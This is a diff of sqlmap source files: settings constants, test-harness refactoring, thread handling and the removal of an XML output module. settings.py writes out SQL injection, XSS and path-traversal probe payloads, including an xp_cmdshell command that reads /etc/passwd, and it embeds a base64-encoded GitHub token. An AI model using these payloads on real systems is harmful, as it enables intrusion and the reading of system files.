+CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")
 
 # Patterns often seen in HTTP headers containing custom injection marking character
 PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
@@ -466,20 +477,20 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
 # Template used for common column existence check
 BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
 
-# Payload used for checking of existence of IDS/WAF (dummier the better)
-IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/../../../etc/passwd"
+# Payload used for checking of existence of IDS/IPS/WAF (dummier the better)
+IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
 
 # Data inside shellcodeexec to be filled with random string
 SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
 
-# Vectors used for provoking specific WAF/IDS/IPS behavior(s)
+# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
 WAF_ATTACK_VECTORS = (
-                        "",  # NIL
-                        "search=<script>alert(1)</script>",
-                        "file=../../../../etc/passwd",
-                        "q=<invalid>foobar",
-                        "id=1 %s" % IDS_WAF_CHECK_PAYLOAD
-                     )
+    "",  # NIL
+    "search=<script>alert(1)</script>",
+    "file=../../../../etc/passwd",
+    "q=<invalid>foobar",
+    "id=1 %s" % IDS_WAF_CHECK_PAYLOAD
+)
 
 # Used for status representation in dictionary attack phase
 ROTATING_CHARS = ('\\', '|', '|', '/', '-')
@@ -503,20 +514,20 @@ PARSE_HEADERS_LIMIT = 3
 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
 ORDER_BY_STEP = 10
 
-# Maximum number of times for revalidation of a character in time-based injections
-MAX_TIME_REVALIDATION_STEPS = 5
+# Maximum number of times for revalidation of a character in inference (as required)
+MAX_REVALIDATION_STEPS = 5
 
 # Characters that can be used to split parameter values in provided command line (e.g. in --tamper)
-PARAMETER_SPLITTING_REGEX = r'[,|;]'
+PARAMETER_SPLITTING_REGEX = r"[,|;]"
 
 # Regular expression describing possible union char value (e.g. used in --union-char)
-UNION_CHAR_REGEX = r'\A\w+\Z'
+UNION_CHAR_REGEX = r"\A\w+\Z"
 
 # Attribute used for storing original parameter value in special cases (e.g. POST)
-UNENCODED_ORIGINAL_VALUE = 'original'
+UNENCODED_ORIGINAL_VALUE = "original"
 
 # Common column names containing usernames (used for hash cracking in some cases)
-COMMON_USER_COLUMNS = ('user', 'username', 'user_name', 'benutzername', 'benutzer', 'utilisateur', 'usager', 'consommateur', 'utente', 'utilizzatore', 'usufrutuario', 'korisnik', 'usuario', 'consumidor')
+COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor")
 
 # Default delimiter in GET/POST values
 DEFAULT_GET_POST_DELIMITER = '&'
@@ -528,7 +539,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
 FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
 
 # Github OAuth token used for creating an automatic Issue for unhandled exceptions
-GITHUB_REPORT_OAUTH_TOKEN = "YzNkYTgyMTdjYzdjNjZjMjFjMWE5ODI5OGQyNzk2ODM1M2M0MzUyOA=="
+GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
 
 # Skip unforced HashDB flush requests below the threshold number of cached items
 HASHDB_FLUSH_THRESHOLD = 32
@@ -536,11 +547,14 @@ HASHDB_FLUSH_THRESHOLD = 32
 # Number of retries for unsuccessful HashDB flush attempts
 HASHDB_FLUSH_RETRIES = 3
 
+# Number of retries for unsuccessful HashDB retrieve attempts
+HASHDB_RETRIEVE_RETRIES = 3
+
 # Number of retries for unsuccessful HashDB end transaction attempts
 HASHDB_END_TRANSACTION_RETRIES = 3
 
 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
-HASHDB_MILESTONE_VALUE = "ERqvmQHalF"  # "".join(random.sample(string.ascii_letters, 10))
+HASHDB_MILESTONE_VALUE = "dPHoJRQYvs"  # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
 
 # Warn user of possible delay due to large page dump in full UNION query injections
 LARGE_OUTPUT_THRESHOLD = 1024 ** 2
@@ -566,6 +580,9 @@ DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters)
 # Alphabet used for heuristic checks
 HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
 
+# Minor artistic touch
+BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)
+
 # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
 DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
 
@@ -579,7 +596,10 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
 
 # Maximum response total page size (trimmed if larger)
-MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
+MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
+
+# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
+MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
 
 # Maximum (multi-threaded) length of entry in bisection algorithm
 MAX_BISECTION_LENGTH = 50 * 1024 * 1024
@@ -597,7 +617,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
 CHECK_ZERO_COLUMNS_THRESHOLD = 10
 
 # Boldify all logger messages containing these "patterns"
-BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved")
+BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA")
 
 # Generic www root directory names
 GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@@ -609,7 +629,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -659,6 +679,9 @@ SUHOSIN_MAX_VALUE_LENGTH = 512
 # Minimum size of an (binary) entry before it can be considered for dumping to disk
 MIN_BINARY_DISK_DUMP_SIZE = 100
 
+# Filenames of payloads xml files (in order of loading)
+PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml")
+
 # Regular expression used for extracting form tags
 FORM_SEARCH_REGEX = r"(?si)<form(?!.+<form).+?</form>"
 

lib/core/target.py

@@ -68,7 +68,6 @@ from lib.core.settings import URI_INJECTABLE_REGEX
 from lib.core.settings import USER_AGENT_ALIASES
 from lib.core.settings import XML_RECOGNITION_REGEX
 from lib.utils.hashdb import HashDB
-from lib.core.xmldump import dumper as xmldumper
 from thirdparty.odict.odict import OrderedDict
 
 def _setRequestParams():
@@ -593,11 +592,7 @@ def _createDumpDir():
             conf.dumpPath = tempDir
 
 def _configureDumper():
-    if hasattr(conf, 'xmlFile') and conf.xmlFile:
-        conf.dumper = xmldumper
-    else:
-        conf.dumper = dumper
-
+    conf.dumper = dumper
     conf.dumper.setOutputFile()
 
 def _createTargetDirs():

lib/core/testing.py

@@ -41,6 +41,8 @@ class Failures(object):
     failedParseOn = None
     failedTraceBack = None
 
+_failures = Failures()
+
 def smokeTest():
     """
     Runs the basic smoke testing of a program
@@ -53,16 +55,17 @@ def smokeTest():
         if any(_ in root for _ in ("thirdparty", "extra")):
             continue
 
-        for ifile in files:
-            length += 1
+        for filename in files:
+            if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
+                length += 1
 
     for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
         if any(_ in root for _ in ("thirdparty", "extra")):
             continue
 
-        for ifile in files:
-            if os.path.splitext(ifile)[1].lower() == ".py" and ifile != "__init__.py":
-                path = os.path.join(root, os.path.splitext(ifile)[0])
+        for filename in files:
+            if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
+                path = os.path.join(root, os.path.splitext(filename)[0])
                 path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
                 path = path.replace(os.sep, '.').lstrip('.')
                 try:
@@ -71,7 +74,7 @@ def smokeTest():
                 except Exception, msg:
                     retVal = False
                     dataToStdout("\r")
-                    errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, ifile), msg)
+                    errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg)
                     logger.error(errMsg)
                 else:
                     # Run doc tests
@@ -80,9 +83,9 @@ def smokeTest():
                     if failure_count > 0:
                         retVal = False
 
-            count += 1
-            status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
-            dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
+                count += 1
+                status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
+                dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
 
     clearConsoleLine()
     if retVal:
@@ -192,11 +195,11 @@ def liveTest():
         else:
             errMsg = "test failed"
 
-            if Failures.failedItems:
-                errMsg += " at parsing items: %s" % ", ".join(i for i in Failures.failedItems)
+            if _failures.failedItems:
+                errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
 
             errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
-            errMsg += " - traceback: %s" % bool(Failures.failedTraceBack)
+            errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
 
             if not vulnerable:
                 errMsg += " - SQL injection not detected"
@@ -204,14 +207,14 @@ def liveTest():
             logger.error(errMsg)
             test_case_fd.write("%s\n" % errMsg)
 
-            if Failures.failedParseOn:
+            if _failures.failedParseOn:
                 console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
-                console_output_fd.write(Failures.failedParseOn)
+                console_output_fd.write(_failures.failedParseOn)
                 console_output_fd.close()
 
-            if Failures.failedTraceBack:
+            if _failures.failedTraceBack:
                 traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
-                traceback_fd.write(Failures.failedTraceBack)
+                traceback_fd.write(_failures.failedTraceBack)
                 traceback_fd.close()
 
             beep()
@@ -232,9 +235,9 @@ def liveTest():
     return retVal
 
 def initCase(switches, count):
-    Failures.failedItems = []
-    Failures.failedParseOn = None
-    Failures.failedTraceBack = None
+    _failures.failedItems = []
+    _failures.failedParseOn = None
+    _failures.failedTraceBack = None
 
     paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
     paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
@@ -278,10 +281,10 @@ def runCase(parse):
         LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
 
     if unhandled_exception:
-        Failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
+        _failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
         retVal = None
     elif handled_exception:
-        Failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
+        _failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
         retVal = None
     elif result is False:  # this means no SQL injection has been detected - if None, ignore
         retVal = False
@@ -298,17 +301,17 @@ def runCase(parse):
             if item.startswith("r'") and item.endswith("'"):
                 if not re.search(item[2:-1], parse_on, re.DOTALL):
                     retVal = None
-                    Failures.failedItems.append(item)
+                    _failures.failedItems.append(item)
 
             elif item not in parse_on:
                 retVal = None
-                Failures.failedItems.append(item)
+                _failures.failedItems.append(item)
 
-        if Failures.failedItems:
-            Failures.failedParseOn = console
+        if _failures.failedItems:
+            _failures.failedParseOn = console
 
     elif retVal is False:
-        Failures.failedParseOn = console
+        _failures.failedParseOn = console
 
     return retVal
 

lib/core/threads.py

@@ -20,6 +20,7 @@ from lib.core.datatype import AttribDict
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapThreadException
+from lib.core.exception import SqlmapUserQuitException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import PYVERSION
@@ -42,8 +43,10 @@ class _ThreadData(threading.local):
         self.disableStdOut = False
         self.hashDBCursor = None
         self.inTransaction = False
+        self.lastCode = None
         self.lastComparisonPage = None
         self.lastComparisonHeaders = None
+        self.lastComparisonCode = None
         self.lastErrorPage = None
         self.lastHTTPError = None
         self.lastRedirectMsg = None
@@ -57,6 +60,7 @@ class _ThreadData(threading.local):
         self.retriesCount = 0
         self.seqMatcher = difflib.SequenceMatcher(None)
         self.shared = shared
+        self.validationRun = 0
         self.valueStack = []
 
 ThreadData = _ThreadData()
@@ -163,13 +167,13 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
                     alive = True
                     time.sleep(0.1)
 
-    except KeyboardInterrupt:
+    except (KeyboardInterrupt, SqlmapUserQuitException), ex:
         print
         kb.threadContinue = False
         kb.threadException = True
 
         if numThreads > 1:
-            logger.info("waiting for threads to finish (Ctrl+C was pressed)")
+            logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
         try:
             while (threading.activeCount() > 1):
                 pass
@@ -201,7 +205,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         kb.threadException = False
 
         for lock in kb.locks.values():
-            if lock.locked_lock():
+            if lock.locked():
                 try:
                     lock.release()
                 except thread.error:

lib/core/update.py

@@ -53,9 +53,7 @@ def update():
             stderr = getSafeExString(ex)
 
         if success:
-            import lib.core.settings
-            _ = lib.core.settings.REVISION = getRevisionNumber()
-            logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", _))
+            logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", getRevisionNumber()))
         else:
             if "Not a git repository" in stderr:
                 errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "

lib/core/xmldump.py

@@ -1,536 +0,0 @@
-#!/usr/bin/env python
-
-import codecs
-import os
-import re
-import xml
-
-import xml.sax.saxutils as saxutils
-
-from lib.core.common import getUnicode
-from lib.core.data import conf
-from lib.core.data import kb
-from lib.core.data import logger
-from lib.core.exception import SqlmapFilePathException
-from lib.core.settings import UNICODE_ENCODING
-from thirdparty.prettyprint import prettyprint
-from xml.dom.minidom import Document
-from xml.parsers.expat import ExpatError
-
-TECHNIC_ELEM_NAME = "Technic"
-TECHNICS_ELEM_NAME = "Technics"
-BANNER_ELEM_NAME = "Banner"
-COLUMNS_ELEM_NAME = "DatabaseColumns"
-COLUMN_ELEM_NAME = "Column"
-CELL_ELEM_NAME = "Cell"
-COLUMN_ATTR = "column"
-ROW_ELEM_NAME = "Row"
-TABLES_ELEM_NAME = "tables"
-DATABASE_COLUMNS_ELEM = "DB"
-DB_TABLES_ELEM_NAME = "DBTables"
-DB_TABLE_ELEM_NAME = "DBTable"
-IS_DBA_ELEM_NAME = "isDBA"
-FILE_CONTENT_ELEM_NAME = "FileContent"
-DB_ATTR = "db"
-UNKNOWN_COLUMN_TYPE = "unknown"
-USER_SETTINGS_ELEM_NAME = "UserSettings"
-USER_SETTING_ELEM_NAME = "UserSetting"
-USERS_ELEM_NAME = "Users"
-USER_ELEM_NAME = "User"
-DB_USER_ELEM_NAME = "DBUser"
-SETTINGS_ELEM_NAME = "Settings"
-DBS_ELEM_NAME = "DBs"
-DB_NAME_ELEM_NAME = "DBName"
-DATABASE_ELEM_NAME = "Database"
-TABLE_ELEM_NAME = "Table"
-DB_TABLE_VALUES_ELEM_NAME = "DBTableValues"
-DB_VALUES_ELEM = "DBValues"
-QUERIES_ELEM_NAME = "Queries"
-QUERY_ELEM_NAME = "Query"
-REGISTERY_ENTRIES_ELEM_NAME = "RegistryEntries"
-REGISTER_DATA_ELEM_NAME = "RegisterData"
-DEFAULT_DB = "All"
-MESSAGE_ELEM = "Message"
-MESSAGES_ELEM_NAME = "Messages"
-ERROR_ELEM_NAME = "Error"
-LST_ELEM_NAME = "List"
-LSTS_ELEM_NAME = "Lists"
-CURRENT_USER_ELEM_NAME = "CurrentUser"
-CURRENT_DB_ELEM_NAME = "CurrentDB"
-MEMBER_ELEM = "Member"
-ADMIN_USER = "Admin"
-REGULAR_USER = "User"
-STATUS_ELEM_NAME = "Status"
-RESULTS_ELEM_NAME = "Results"
-UNHANDLED_PROBLEM_TYPE = "Unhandled"
-NAME_ATTR = "name"
-TYPE_ATTR = "type"
-VALUE_ATTR = "value"
-SUCESS_ATTR = "success"
-NAME_SPACE_ATTR = 'http://www.w3.org/2001/XMLSchema-instance'
-XMLNS_ATTR = "xmlns:xsi"
-SCHEME_NAME = "sqlmap.xsd"
-SCHEME_NAME_ATTR = "xsi:noNamespaceSchemaLocation"
-CHARACTERS_TO_ENCODE = range(32) + range(127, 256)
-ENTITIES = {'"': '"', "'": "'"}
-
-class XMLDump(object):
-    '''
-    This class purpose is to dump the data into an xml Format.
-    The format of the xml file is described in the scheme file xml/sqlmap.xsd
-    '''
-
-    def __init__(self):
-        self._outputFile = None
-        self._outputFP = None
-        self.__root = None
-        self.__doc = Document()
-
-    def _addToRoot(self, element):
-        '''
-        Adds element to the root element
-        '''
-        self.__root.appendChild(element)
-
-    def __write(self, data, n=True):
-        '''
-        Writes the data into the file
-        '''
-        if n:
-            self._outputFP.write("%s\n" % data)
-        else:
-            self._outputFP.write("%s " % data)
-
-        self._outputFP.flush()
-
-        kb.dataOutputFlag = True
-
-    def _getRootChild(self, elemName):
-        '''
-        Returns the child of the root with the described name
-        '''
-        elements = self.__root.getElementsByTagName(elemName)
-        if elements:
-            return elements[0]
-
-        return elements
-
-    def _createTextNode(self, data):
-        '''
-        Creates a text node with utf8 data inside.
-        The text is escaped to an fit the xml text Format.
-        '''
-        if data is None:
-            return self.__doc.createTextNode(u'')
-        else:
-            escaped_data = saxutils.escape(data, ENTITIES)
-            return self.__doc.createTextNode(escaped_data)
-
-    def _createAttribute(self, attrName, attrValue):
-        '''
-        Creates an attribute node with utf8 data inside.
-        The text is escaped to an fit the xml text Format.
-        '''
-        attr = self.__doc.createAttribute(attrName)
-        if attrValue is None:
-            attr.nodeValue = u''
-        else:
-            attr.nodeValue = getUnicode(attrValue)
-        return attr
-
-    def string(self, header, data, sort=True):
-        '''
-        Adds string element to the xml.
-        '''
-        if isinstance(data, (list, tuple, set)):
-            self.lister(header, data, sort)
-            return
-
-        messagesElem = self._getRootChild(MESSAGES_ELEM_NAME)
-        if (not(messagesElem)):
-            messagesElem = self.__doc.createElement(MESSAGES_ELEM_NAME)
-            self._addToRoot(messagesElem)
-
-        if data:
-            data = self._formatString(data)
-        else:
-            data = ""
-
-        elem = self.__doc.createElement(MESSAGE_ELEM)
-        elem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
-        elem.appendChild(self._createTextNode(data))
-        messagesElem.appendChild(elem)
-
-    def lister(self, header, elements, sort=True):
-        '''
-        Adds information formatted as list element
-        '''
-        lstElem = self.__doc.createElement(LST_ELEM_NAME)
-        lstElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
-        if elements:
-            if sort:
-                try:
-                    elements = set(elements)
-                    elements = list(elements)
-                    elements.sort(key=lambda x: x.lower())
-                except:
-                    pass
-
-            for element in elements:
-                memberElem = self.__doc.createElement(MEMBER_ELEM)
-                lstElem.appendChild(memberElem)
-                if isinstance(element, basestring):
-                    memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "string"))
-                    memberElem.appendChild(self._createTextNode(element))
-                elif isinstance(element, (list, tuple, set)):
-                    memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "list"))
-                    for e in element:
-                        memberElemStr = self.__doc.createElement(MEMBER_ELEM)
-                        memberElemStr.setAttributeNode(self._createAttribute(TYPE_ATTR, "string"))
-                        memberElemStr.appendChild(self._createTextNode(getUnicode(e)))
-                        memberElem.appendChild(memberElemStr)
-        listsElem = self._getRootChild(LSTS_ELEM_NAME)
-        if not(listsElem):
-            listsElem = self.__doc.createElement(LSTS_ELEM_NAME)
-            self._addToRoot(listsElem)
-        listsElem.appendChild(lstElem)
-
-    def technic(self, technicType, data):
-        '''
-        Adds information about the technic used to extract data from the db
-        '''
-        technicElem = self.__doc.createElement(TECHNIC_ELEM_NAME)
-        technicElem.setAttributeNode(self._createAttribute(TYPE_ATTR, technicType))
-        textNode = self._createTextNode(data)
-        technicElem.appendChild(textNode)
-        technicsElem = self._getRootChild(TECHNICS_ELEM_NAME)
-        if not(technicsElem):
-            technicsElem = self.__doc.createElement(TECHNICS_ELEM_NAME)
-            self._addToRoot(technicsElem)
-        technicsElem.appendChild(technicElem)
-
-    def banner(self, data):
-        '''
-        Adds information about the database banner to the xml.
-        The banner contains information about the type and the version of the database.
-        '''
-        bannerElem = self.__doc.createElement(BANNER_ELEM_NAME)
-        bannerElem.appendChild(self._createTextNode(data))
-        self._addToRoot(bannerElem)
-
-    def currentUser(self, data):
-        '''
-        Adds information about the current database user to the xml
-        '''
-        currentUserElem = self.__doc.createElement(CURRENT_USER_ELEM_NAME)
-        textNode = self._createTextNode(data)
-        currentUserElem.appendChild(textNode)
-        self._addToRoot(currentUserElem)
-
-    def currentDb(self, data):
-        '''
-        Adds information about the current database is use to the xml
-        '''
-        currentDBElem = self.__doc.createElement(CURRENT_DB_ELEM_NAME)
-        textNode = self._createTextNode(data)
-        currentDBElem.appendChild(textNode)
-        self._addToRoot(currentDBElem)
-
-    def dba(self, isDBA):
-        '''
-        Adds information to the xml that indicates whether the user has DBA privileges
-        '''
-        isDBAElem = self.__doc.createElement(IS_DBA_ELEM_NAME)
-        isDBAElem.setAttributeNode(self._createAttribute(VALUE_ATTR, getUnicode(isDBA)))
-        self._addToRoot(isDBAElem)
-
-    def users(self, users):
-        '''
-        Adds a list of the existing users to the xml
-        '''
-        usersElem = self.__doc.createElement(USERS_ELEM_NAME)
-        if isinstance(users, basestring):
-            users = [users]
-        if users:
-            for user in users:
-                userElem = self.__doc.createElement(DB_USER_ELEM_NAME)
-                usersElem.appendChild(userElem)
-                userElem.appendChild(self._createTextNode(user))
-        self._addToRoot(usersElem)
-
-    def dbs(self, dbs):
-        '''
-        Adds a list of the existing databases to the xml
-        '''
-        dbsElem = self.__doc.createElement(DBS_ELEM_NAME)
-        if dbs:
-            for db in dbs:
-                dbElem = self.__doc.createElement(DB_NAME_ELEM_NAME)
-                dbsElem.appendChild(dbElem)
-                dbElem.appendChild(self._createTextNode(db))
-        self._addToRoot(dbsElem)
-
-    def userSettings(self, header, userSettings, subHeader):
-        '''
-        Adds information about the user's settings to the xml.
-        The information can be user's passwords, privileges and etc..
-        '''
-        self._areAdmins = set()
-        userSettingsElem = self._getRootChild(USER_SETTINGS_ELEM_NAME)
-        if (not(userSettingsElem)):
-            userSettingsElem = self.__doc.createElement(USER_SETTINGS_ELEM_NAME)
-            self._addToRoot(userSettingsElem)
-
-        userSettingElem = self.__doc.createElement(USER_SETTING_ELEM_NAME)
-        userSettingElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
-
-        if isinstance(userSettings, (tuple, list, set)):
-            self._areAdmins = userSettings[1]
-            userSettings = userSettings[0]
-
-        users = userSettings.keys()
-        users.sort(key=lambda x: x.lower())
-
-        for user in users:
-            userElem = self.__doc.createElement(USER_ELEM_NAME)
-            userSettingElem.appendChild(userElem)
-            if user in self._areAdmins:
-                userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, ADMIN_USER))
-            else:
-                userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, REGULAR_USER))
-
-            settings = userSettings[user]
-
-            settings.sort()
-
-            for setting in settings:
-                settingsElem = self.__doc.createElement(SETTINGS_ELEM_NAME)
-                settingsElem.setAttributeNode(self._createAttribute(TYPE_ATTR, subHeader))
-                settingTextNode = self._createTextNode(setting)
-                settingsElem.appendChild(settingTextNode)
-                userElem.appendChild(settingsElem)
-        userSettingsElem.appendChild(userSettingElem)
-
-    def dbTables(self, dbTables):
-        '''
-        Adds information of the existing db tables to the xml
-        '''
-        if not isinstance(dbTables, dict):
-            self.string(TABLES_ELEM_NAME, dbTables)
-            return
-
-        dbTablesElem = self.__doc.createElement(DB_TABLES_ELEM_NAME)
-
-        for db, tables in dbTables.items():
-            tables.sort(key=lambda x: x.lower())
-            dbElem = self.__doc.createElement(DATABASE_ELEM_NAME)
-            dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db))
-            dbTablesElem.appendChild(dbElem)
-            for table in tables:
-                tableElem = self.__doc.createElement(DB_TABLE_ELEM_NAME)
-                tableElem.appendChild(self._createTextNode(table))
-                dbElem.appendChild(tableElem)
-        self._addToRoot(dbTablesElem)
-
-    def dbTableColumns(self, tableColumns):
-        '''
-        Adds information about the columns of the existing tables to the xml
-        '''
-
-        columnsElem = self._getRootChild(COLUMNS_ELEM_NAME)
-        if not(columnsElem):
-            columnsElem = self.__doc.createElement(COLUMNS_ELEM_NAME)
-
-        for db, tables in tableColumns.items():
-            if not db:
-                db = DEFAULT_DB
-            dbElem = self.__doc.createElement(DATABASE_COLUMNS_ELEM)
-            dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db))
-            columnsElem.appendChild(dbElem)
-
-            for table, columns in tables.items():
-                tableElem = self.__doc.createElement(TABLE_ELEM_NAME)
-                tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table))
-
-                colList = columns.keys()
-                colList.sort(key=lambda x: x.lower())
-
-                for column in colList:
-                    colType = columns[column]
-                    colElem = self.__doc.createElement(COLUMN_ELEM_NAME)
-                    if colType is not None:
-                        colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, colType))
-                    else:
-                        colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNKNOWN_COLUMN_TYPE))
